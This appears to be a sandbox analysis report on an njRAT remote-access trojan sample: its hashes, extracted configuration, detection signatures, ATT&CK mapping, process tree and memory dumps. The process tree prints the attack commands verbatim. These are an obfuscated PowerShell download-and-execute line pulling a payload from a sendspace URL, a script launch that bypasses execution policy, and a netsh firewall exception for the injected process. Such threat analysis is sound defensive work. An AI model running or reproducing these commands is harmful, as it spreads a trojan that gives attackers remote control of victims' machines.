njrat | 3e7c51d2872014402332aa1e75d853db3d157c7521908852363618a3cdcc5be9

General

Target

QA6433_#002.vbs
Size

1KB
MD5

a124bd8fd1451e19150b422695548e0e
SHA1

7c6b915684cacddeff53b78394e07789b55d0b2a
SHA256

3e7c51d2872014402332aa1e75d853db3d157c7521908852363618a3cdcc5be9
SHA512

515bb7cd68df86d248253d0b84a9dcf89d6ae4cc28c3edc432c9a1562d1dab4339d37c13c6a6e75b5c37bc6815dd43b7699165e50e73964d633f2808507ad5ad

Score

10^/10

njrat hacked evasion suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://fs13n4.sendspace.com/dlpro/3137f454c7a01624c025f577c50150f1/619cfd5e/tza6mk/HSJWE.txt

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 4076 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1044 set thread context of 2036 1044 powershell.exe aspnet_regsql.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
11	4076	powershell.exe

description	pid	process	target process
PID 1044 set thread context of 2036	1044	powershell.exe	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exe

pid	process
4076	powershell.exe
4076	powershell.exe
4076	powershell.exe
1044	powershell.exe
1044	powershell.exe
1044	powershell.exe
1044	powershell.exe
1044	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

Processes:

powershell.exepowershell.exeaspnet_regsql.exe

description	pid	process
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	2036	aspnet_regsql.exe
Token: 33	2036	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2036	aspnet_regsql.exe
Token: 33	2036	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2036	aspnet_regsql.exe
Token: 33	2036	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2036	aspnet_regsql.exe
Token: 33	2036	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	2036	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exeaspnet_regsql.exe

description	pid	process	target process
PID 3980 wrote to memory of 4076	3980	WScript.exe	powershell.exe
PID 3980 wrote to memory of 4076	3980	WScript.exe	powershell.exe
PID 4076 wrote to memory of 1044	4076	powershell.exe	powershell.exe
PID 4076 wrote to memory of 1044	4076	powershell.exe	powershell.exe
PID 1044 wrote to memory of 1920	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 1920	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 1920	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 1044 wrote to memory of 2036	1044	powershell.exe	aspnet_regsql.exe
PID 2036 wrote to memory of 2624	2036	aspnet_regsql.exe	netsh.exe
PID 2036 wrote to memory of 2624	2036	aspnet_regsql.exe	netsh.exe
PID 2036 wrote to memory of 2624	2036	aspnet_regsql.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\QA6433_#002.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`e`x (New-Object Net.WebClient).DownloadString('https://fs13n4.sendspace.com/dlpro/3137f454c7a01624c025f577c50150f1/619cfd5e/tza6mk/HSJWE.txt');
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -ExecutionPolicy Bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1044

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
4⤵
PID:1920

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe" "aspnet_regsql.exe" ENABLE
5⤵
PID:2624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Downloads\HBar.ps1
MD5
fae00a2501d2db9016c53214ed0adbcd

SHA1
16518f27a21ed8ee9ba53ffefc4a3ce4e89438a8

SHA256
cf9fbf65847079463dd464bc262b5e7b014e77561030b41395e8bd72ca0ef998

SHA512
e7e7ac1f6eae4025b119ac83c9f9420067f8782caac2365145a1d673f1e413ef2a4812ca986e09e2b09ceb5a26b853265d79d82a0dfb769ead2b4dc089d213cd

Download Submit
memory/1044-172-0x0000023AF9970000-0x0000023AF9974000-memory.dmp

Filesize
16KB

Download
memory/1044-157-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-161-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-168-0x0000023ADD963000-0x0000023ADD965000-memory.dmp

Filesize
8KB

Download
memory/1044-163-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-162-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-166-0x0000023ADD960000-0x0000023ADD962000-memory.dmp

Filesize
8KB

Download
memory/1044-160-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-167-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-156-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-182-0x0000023ADD966000-0x0000023ADD968000-memory.dmp

Filesize
8KB

Download
memory/1044-154-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-158-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-155-0x0000023ADD940000-0x0000023ADD942000-memory.dmp

Filesize
8KB

Download
memory/1044-153-0x0000000000000000-mapping.dmp

Download
memory/2036-179-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/2036-180-0x0000000005630000-0x0000000005631000-memory.dmp

Filesize
4KB

Download
memory/2036-181-0x00000000054D0000-0x00000000054D1000-memory.dmp

Filesize
4KB

Download
memory/2036-184-0x0000000005080000-0x0000000005081000-memory.dmp

Filesize
4KB

Download
memory/2036-176-0x000000000040BBAE-mapping.dmp

Download
memory/2036-175-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2036-185-0x0000000005B30000-0x0000000005B31000-memory.dmp

Filesize
4KB

Download
memory/2036-186-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/2036-187-0x00000000061D0000-0x00000000061D1000-memory.dmp

Filesize
4KB

Download
memory/2036-188-0x0000000000C00000-0x0000000000C03000-memory.dmp

Filesize
12KB

Download
memory/2624-183-0x0000000000000000-mapping.dmp

Download
memory/4076-130-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-119-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-121-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-118-0x0000000000000000-mapping.dmp

Download
memory/4076-127-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-134-0x0000015041720000-0x0000015041722000-memory.dmp

Filesize
8KB

Download
memory/4076-136-0x0000015041726000-0x0000015041728000-memory.dmp

Filesize
8KB

Download
memory/4076-135-0x0000015041723000-0x0000015041725000-memory.dmp

Filesize
8KB

Download
memory/4076-120-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-129-0x0000015043980000-0x0000015043981000-memory.dmp

Filesize
4KB

Download
memory/4076-128-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-126-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-125-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-124-0x00000150416E0000-0x00000150416E1000-memory.dmp

Filesize
4KB

Download
memory/4076-123-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download
memory/4076-122-0x00000150277D0000-0x00000150277D2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads